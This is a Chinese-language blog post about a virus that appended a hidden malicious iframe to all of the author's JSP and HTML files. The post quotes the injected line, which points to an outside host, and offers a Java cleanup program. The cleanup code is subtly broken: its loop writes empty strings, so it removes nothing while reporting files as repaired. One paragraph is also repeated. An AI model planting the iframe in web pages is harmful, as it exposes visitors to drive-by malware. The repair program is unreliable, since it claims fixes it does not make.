中了一個很奇怪的病毒,所有的jsp文件均為改寫
上周末,機器中毒了,起初自己沒有發現,后來寫代碼發現運行jsp文件,機器變的奇慢務必,后來以為是機器慢,就把qq、msn 等工具全關掉了,發現還是不行,后來把上網的代理關掉時候發現正常了;再一看jsp文件發現全部被改寫了,在文件最后一行加上
<iframe src=http://w.zhufeng01.cn/a.htm width=100 height=0></iframe>
于是上網找殺毒軟件,剛開始用的諾頓(公式規定必須安裝),發現不行就換別的軟件,可是病毒不讓你安裝別的殺毒軟件,甚至打開有解決方法的網頁,都會將ie關閉。
后來同事給了360,算是把病毒穩定了,可是我的jsp、html文件都被改寫了,這時想到寫程序解決,下面是我弄的java程序刪除文件中被增加的iframe。
import java.io.File;
import java.io.RandomAccessFile;

public class RepairPage
{

private static int num;

private String worm = "<iframe src=http://w.zhufeng01.cn/a.htm width=100 height=0></iframe>";

public void repair(File page)
{
//System.out.println("Try File:"+page.getPath());
try
{
RandomAccessFile r = new RandomAccessFile(page, "rw");
if (r.length() < 68)
return;
r.seek(r.length() - 68);//跳到最后一行
String shit = r.readLine();
if (shit.equals(worm))
{
//System.out.println("shit content:"+shit);
System.out.println("修復損壞文件:" + page.getPath());
r.seek(r.length() - 68);
for (int i = 0; i < worm.length(); i++)
{
r.writeBytes("");
}
num++;
}
}
catch (Exception e)
{
e.printStackTrace();
}
}

public void doDir(File dir)
{
if (dir.canRead())
{
if (dir.isDirectory())
{
String[] files = dir.list();
if (files != null)
{
for (int i = 0; i < files.length; i++)
{
doDir(new File(dir, files[i]));// 遞歸
}
}
}
else
{// is File
String name = dir.getName();
if (name.endsWith("jsp") || name.endsWith("html") || name.endsWith("htm"))
repair(dir);
}
}
}

public static void main(String[] args)
{

File dir = new File("E://program//guizhou//09檢試源碼//web//");
RepairPage repair = new RepairPage();
repair.doDir(dir);
System.out.println("修復成功完成,修復文件數:" + repair.num);
}

}

后來同事給了360,算是把病毒穩定了,可是我的jsp、html文件都被改寫了,這時想到寫程序解決,下面是我弄的java程序刪除文件中被增加的iframe。








































































